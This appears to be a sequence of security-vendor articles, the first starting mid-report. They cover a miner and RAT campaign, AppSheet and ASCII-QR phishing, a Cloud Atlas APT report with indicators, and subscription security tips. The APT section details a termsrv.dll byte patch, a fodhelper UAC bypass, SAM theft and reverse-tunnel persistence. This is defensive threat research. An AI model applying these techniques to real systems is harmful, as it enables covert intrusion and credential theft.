As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest

Phishing campaigns have become significantly more sophisticated and convincing in recent years. Sender addresses are now nearly identical to the real deal, emails are flawlessly written, and users are called by their names. But what do you do when a suspicious email comes from a clearly legitimate email address?

Lately, phishers have been exploiting the Google AppSheet platform to set up email blasts that originate from an official Google-linked address. Following a successful attack, they walk away with their victims’ accounts and sensitive data.

In this post, we break down how this new data theft scheme works, and how to protect yourself from these sneaky phishing attacks.

Google is offering you a job. Or Coca-Cola. Or maybe Volvo. Or are they?

AppSheet is a Google service for building apps without any coding skills. It’s frequently used by small businesses to automate routine workflows. Unfortunately, it’s precisely this simplicity that makes AppSheet so attractive to cybercriminals. All it takes to pull off a phishing scam these days are a few dollars and an app quickly thrown together using pre-made commands and blocks.

The playbook for AppSheet phishing attacks is pretty run-of-the-mill. The victim receives an email on behalf of a major company — and these messages often begin by addressing the recipient by name. It appears the attackers are parsing leaked data to match names with specific email addresses.

Next, the attackers play on the recipient’s emotions — employing either stick or carrot. They might panic the victim with urgent warnings that demand immediate action — think “Your account will be disabled soon” or “Suspicious activity detected”. Alternatively, they lure them in with irresistible bait, like the promise of a verified badge or an interview invitation from a tech giant. These fake HR emails are engineered to give victims an immediate rush. They make it look like the recipient’s application was already fast-tracked and highly rated, teasing a job offer that could drop as early as tomorrow.

For most people, these messages don’t raise a single red flag. The email bypasses the spam folder completely, and the From field displays the exact name of the company they expect to see. Unfortunately, none of it means the email is authentic: attackers can put whatever they want in the display name. And let’s be honest: very few people actually stop to scrutinize the sender’s email address.

In AppSheet-based phishing campaigns, the sender is always the same: noreply{@}appsheet.com. But here’s the real kicker: that address is 100% legitimate. Because it’s tied directly to Google’s own infrastructure, there’s a good chance that standard anti-spam filters greenlight these emails without blinking.

Naturally, to secure that coveted interview or fix their account, the victim clicks the link — and then voluntarily hands over their entire digital identity on a copycat website: full name, address, phone number, etc. From there, the attackers can sell the harvested data on the dark web, or weaponize it for secondary, targeted attacks. To top it all off, the victim is redirected to a phishing login page, which allows the attackers to steal their accounts.

Here’s a step-by-step breakdown of how a victim goes from receiving a fake Google Careers portal email to having their account completely compromised:

Similar phishing campaigns are launched on behalf of other major tech brands — and the users who hand over their Apple account data risk losing not just their account but also control of all their Apple devices. The attackers might pressure the victim into signing out of their personal Apple ID, and in to a “corporate account” for verification — which is in reality an Apple account they own. The moment the victim does so, the criminals take complete remote control of the used device, often using Lost Mode to lock the victim out and hold their phone to ransom.

To make matters worse, attackers don’t always drop a malicious link in the initial email. Instead, they play the long game — hooking the target into a conversation by asking them to reply and confirm their interest. This pretexting creates an illusion of chatting with a real recruiter. And this playbook isn’t reserved exclusively for Silicon Valley, either. Attackers frequently impersonate globally recognized household names, like Volvo or Coca-Cola. Of course, it’s highly unlikely that attackers want someone’s Coca-Cola account — if the user even has one to begin with. Most likely, the goal is to steal sensitive data or convince the user to log in to a phishing form using their Google/Apple/Facebook, etc. credentials.

Do you want to become Meta-verified?

Of course, “dream jobs” aren’t the only bait used. We’ve seen campaigns where “Facebook Support” reaches out to tell a user they’ve been deemed eligible for the prestigious Meta Verified badge — a blue checkmark normally reserved for top-tier celebrities and global brands. To secure the coveted blue checkmark, the victim is directed to a phishing page where they’re asked to complete an identity form — before handing over the ultimate prize: their Facebook username and password. And it’s all in the name of security, naturally!

These spoofed sites are created in a wide variety of languages, and tailored to users in different countries. Below is the Dutch version.

In other campaigns, attackers abuse Google’s AppSheet to weaponize sheer panic, trying to unsettle the user with claims that they’ve violated Meta’s intellectual property policy — and threatening to permanently close their Facebook account. To appeal, the victim must click a link to… a phishing site, provide their personal information, and, of course, enter their Facebook username and password.

How to spot phishing and protect your accounts

Sadly, phishing attacks are becoming increasingly sophisticated, with attackers routinely hijacking the reputation of legitimate services and domains. Here’s how to keep from falling into their traps, and safeguard your data:

• Remember: not all phishing emails end up in the spam folder. Standard spam filters in email clients often fail to detect advanced attacks — and the AppSheet case is a prime example. To avoid accidentally taking the bait, use Kaspersky Premium on all your devices. It intercepts phishing emails and instantly blocks links to spoof websites — even if the attacker is hiding behind a completely legitimate domain. Additionally, the Android version can detect malicious and phishing links in messages from any app.
• Check the email for odd typos. To keep their messages from setting off alarms, attackers frequently resort to sneakily inserting extra spaces or swapping out characters. Take this example from one of the emails we found: Fac eb o ok  S u ppo r t instead of Facebook Support.
• Before taking any action on a website, carefully check its domain name against the official address. Bad actors frequently create addresses that only appear to be the real thing until you look close enough. Install Kaspersky Premium to always be sure you don’t land on a spoofed site.
• Look at the sender’s address first, not just the display name. If an email claims to be from Google Careers, Apple HR, or Facebook Support, but the sender address points to AppSheet or another unrelated service, don’t even bother reading this message. That domain mismatch is a dead giveaway that you’re looking at a trap. Cross-reference email addresses with the ones listed on the companies’ official websites.
• Check for email signatures. For instance, all emails sent via AppSheet include a disclosure note at the very bottom. You are much more likely to receive a legitimate AppSheet notification from a small company or business, but definitely not from a tech giant. Major corporations typically use their own domains for their emails.
• Use a password manager. Even if you land on a spoofed site and try to enter your password, a reliable password manager will notify you about the domain mismatch and refuse to autofill your username and password.
• Don’t forget about two-factor authentication. If it’s enabled, just having your username and password won’t help the attackers access your account — they’ll also need a one-time code. However, they might still try to trick you into giving that up too, so be doubly careful whenever you enter two-factor authentication codes anywhere.
• Use passkeys instead of passwords whenever possible. This technology provides excellent protection against phishing: even if you visit a malicious site and try to sign in, the passkey won’t work on the spoofed domain. You can store and sync passkeys across different devices in Kaspersky Password Manager. Read our post on the subject to learn more about how passkeys work.

Phishing attacks are growing increasingly sophisticated. Here’s what else you should know about phishing:

• What happens to data stolen using phishing?
• Browser-in-the-browser attacks: from theory to reality
• Phishing and spam: the wildest campaigns of 2025
• Phishing in Telegram Mini Apps: what’s Habib’s papakha got to do with it?
• How phishers and scammers use AI

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

• video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
• video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

• Collect information about running processes, administrator groups, and domain controllers.
• Download and execute PowerShell scripts from the C2 server.
• Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

• Creates a Volume Shadow Copy of the C:\ drive.
• Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
• The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

• Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
• Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
• Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

• C:\Windows\ime
• C:\Windows\System32\ime
• C:\Windows\pla
• C:\Windows\inf
• C:\Windows\migration
• C:\Windows\System32\timecontrolsvc
• C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

We’ve written time and again about how QR codes are used in phishing schemes. Our secure email gateway solution even includes technology to read these codes — not just from emails, but also from attachments — and check the embedded links. Yet, attackers haven’t given up on trying to send QR codes to their victims. Lately, we’ve increasingly seen them use ASCII art for this purpose — images composed of characters. This seems particularly ironic considering that phishers once tried to evade link scanning by hiding links in images, and now they’re trying to dodge image scanning by going back to text. But with a few twists.

The lost art of ASCII, and how attackers use it

It’s hard to believe today, but there was a time when computers couldn’t display graphics. Consequently, the very first computer images were constructed from text characters. Following the adoption of the standard in 1963, characters from the ASCII (American Standard Code for Information Interchange) set were used for this type of artwork to ensure that images looked the same across different computers. Over time, other text symbols (for example, from the extended Unicode set) began to be used to create images, but the name “ASCII graphics” remained the term used to describe this art form as a whole. There were serious artists working in this medium, the earliest websites were designed with ASCII art, and even the first computer pornography was rendered with text characters.

As image display technology evolved, ASCII art began to fall out of fashion. It saw a major resurgence in the 2000s during the heyday of email spam. Back then, spammers primarily used it because it allowed them to disguise blatant spam keywords that could trigger mail filters, while also placing less load on mail servers than images. Additionally, since many users paid for volume of internet traffic at the time, they often disabled image loading in their email clients. Naturally, at that time, we augmented our email security solutions with technology specifically designed to block ASCII art.

Now, ASCII art has been rediscovered — this time by those looking to bypass technology that recognizes QR codes within images.

What does ASCII art phishing look like?

Here’s a recent example. The pretext itself is pretty run-of-the-mill: someone has supposedly sent to victim a confidential document via DocuSign, but to open it the recipient needs to scan the QR code in the email to visit a website and enter corporate login credentials.

A QR code rendered with unicode characters. We’ve blurred out a portion of the code to prevent the malicious link from being scanned.

Admittedly, the code looks weird. This is primarily because it’s drawn piece-by-piece in pseudo-graphic elements, and even the gaps between the lines can be seen. In reality, there’s no actual image in the e-mail message code; the QR code looks something like this behind the scenes:

ASCII art inside the email code

As a result, link scanners can’t see the link, and image analysis tools can’t find the URL hidden inside the QR code, so the attackers assume the phishing email is going to reach the victim just fine. Spoiler alert: no, we haven’t forgotten how to block ASCII art.

Is a QR code in an email even normal?

In theory, there are situations where using a QR code makes sense. It’s a fairly convenient way to share contacts, a link to a mobile app, a map location, or a configuration. In other words, it works well whenever information needs to be delivered specifically to the recipient’s mobile device.

However, someone using a QR code to make you enter corporate credentials on a mobile device is an instant red flag. And when that QR code is generated with ASCII art, it’s clearly a phishing attempt or an effort to lure you to a malicious URL. This trick can only have one purpose — an attempt to bypass security controls.

How to stay safe?

To prevent phishing emails — whether containing ASCII art or not — from ever reaching employee inboxes, we recommend using a secure email gateway with advanced anti-phishing capabilities. As an additional layer of defense, install security solutions on all endpoints used to access the internet.

Additionally, we recommend regular security awareness training to educate employees on modern phishing tactics. Specifically, to explain that ASCII art in modern emails can be a telltale sign of an attempted phishing attack.

Have you ever tried to tally up how much you spend on subscriptions each month? Music, movies, gaming, language courses, delivery services, heated seats, and even the ability to chat with the Grok bot directly from your car — there’s a subscription for just about everything now. There’s even a subscription service specifically designed to… track your other subscriptions.

The number of subscriptions varies significantly depending on where you live, but statistically, 78% of adults worldwide have at least one paid subscription, with the average user juggling 5.6 active services. Furthermore, a large portion of these are family plans used by groups of close relatives… and sometimes other people: 37% of users share their subscriptions outside their immediate family.

Because subscription accounts, especially family plans, often contain sensitive personal data, they’ve become a prime target for cybercriminals. Today we look at how to manage your subscriptions securely, avoid having your accounts compromised, and keep from falling for scammers’ latest tricks.

Security of shared accounts and subscriptions

Why would anyone want to hack your subscription? Even if the service only offers entertainment, your account almost certainly contains sensitive information: your name, address, email, phone number, the names of other members, and other personally identifiable information. This data is then sold on the dark web and used for further attacks.

Attackers compromise subscription accounts either through social engineering and phishing, or by taking advantage of many users’ reliance on weak or leaked passwords. As we recently highlighted in our research, nearly half of all passwords worldwide can be cracked in less than a minute. Scammers then either resell existing subscriptions or slots in a family group at a discount, or they sign the victim up for new services, hoping the extra charges go unnoticed.

Finally, some middlemen don’t bother with hacking at all; they simply buy bulk subscriptions for a large number of devices, where the per-unit cost is typically much lower. They then resell individual slots in these plans on online marketplaces. As a result, a single “family” account can end up filled with people who are complete strangers to one another.

Sharing subscriptions with family and others

Many subscription owners think nothing of sharing access with family and friends. What could possibly go wrong?

The worst-case scenario from a security standpoint is when a single account is purchased and the owner shares the login and password with other users. This usually happens when people try to save money on a family plan by buying an individual subscription and sharing it. Some services even allow for different profiles, but they are all tied to a single account, meaning the credentials are shared. This is how streaming platforms like Hulu and Disney+ operate.

Sharing one account among multiple people significantly increases the risk of your credentials falling into the wrong hands. There’s no way to guarantee that everyone else is storing those details securely or that their devices aren’t infected with malware. Even without malware, it’s incredibly easy to accidentally hand over a password to attackers simply by signing in to the subscription service over unprotected public Wi-Fi.

It’s entirely possible that the password you kindly shared with some friends has already surfaced in some corner of the dark web, and you may soon lose access to your account. Furthermore, if you reuse the same password across different sites and apps, your other accounts are now in the crosshairs as well.

The second scenario is when each group member has an individual account. Many services now allow you to add extra users to a subscription at no additional cost, and most owners are happy to give away these free slots. Even then, you shouldn’t let your guard down: a breach of just one of these accounts can still leak sensitive information, such as family members’ names, addresses, billing info, and other subscription-related data.

How to protect your subscriptions (and your wallet)

To keep your and your loved ones’ personal data private and your accounts under your control, follow these simple rules.

Use strong account security

To do this, learn — and teach your friends and family — how to use password managers, two-factor authentication, or passkeys.

If you and your loved ones rely on memory to store passwords, there’s a high probability that you’re reusing the same one across multiple services. This is a major blunder: data breaches happen all the time, and a single compromised password gives attackers access to your other accounts.

The simplest solution is to use a password manager that generates and remembers complex, unique passwords for every site and service on your behalf. All you have to do is remember the single main password for its encrypted vault. Additionally, Kaspersky Password Manager doesn’t just store and create passwords; it can also check if they’ve appeared in leaked databases, and sync your credentials across all your devices.

Additionally, a password manager provides a robust defense against phishing: unlike a human, who can easily be misled by a sign-in form that looks almost identical to the real thing and is hosted on a look-alike domain, a password manager won’t fall for the trick. It’ll only offer to autofill your saved login and password on the specific site or service for which they were originally stored.

Avoid using browsers to store your passwords: unfortunately, attackers have long figured out how to extract browser-saved passwords in a matter of seconds.

Two-factor authentication (2FA) is an extra layer of verification the system requests after you enter your password — such as an SMS code or a one-time code from an authenticator app. Whenever technically possible, be sure to enable 2FA on every account linked to a subscription. This applies to the subscription services themselves, as well as any third-party accounts you use to sign in, such as Google, Apple, or Facebook.

We recommend storing your two-factor authentication tokens and generating the one-time codes — which refresh every 30 seconds — inside Kaspersky Password Manager. This significantly lowers the chances of someone hijacking your account. Even if an attacker somehow discovers or guesses your password, they won’t be able to get the code without physical access to your device.

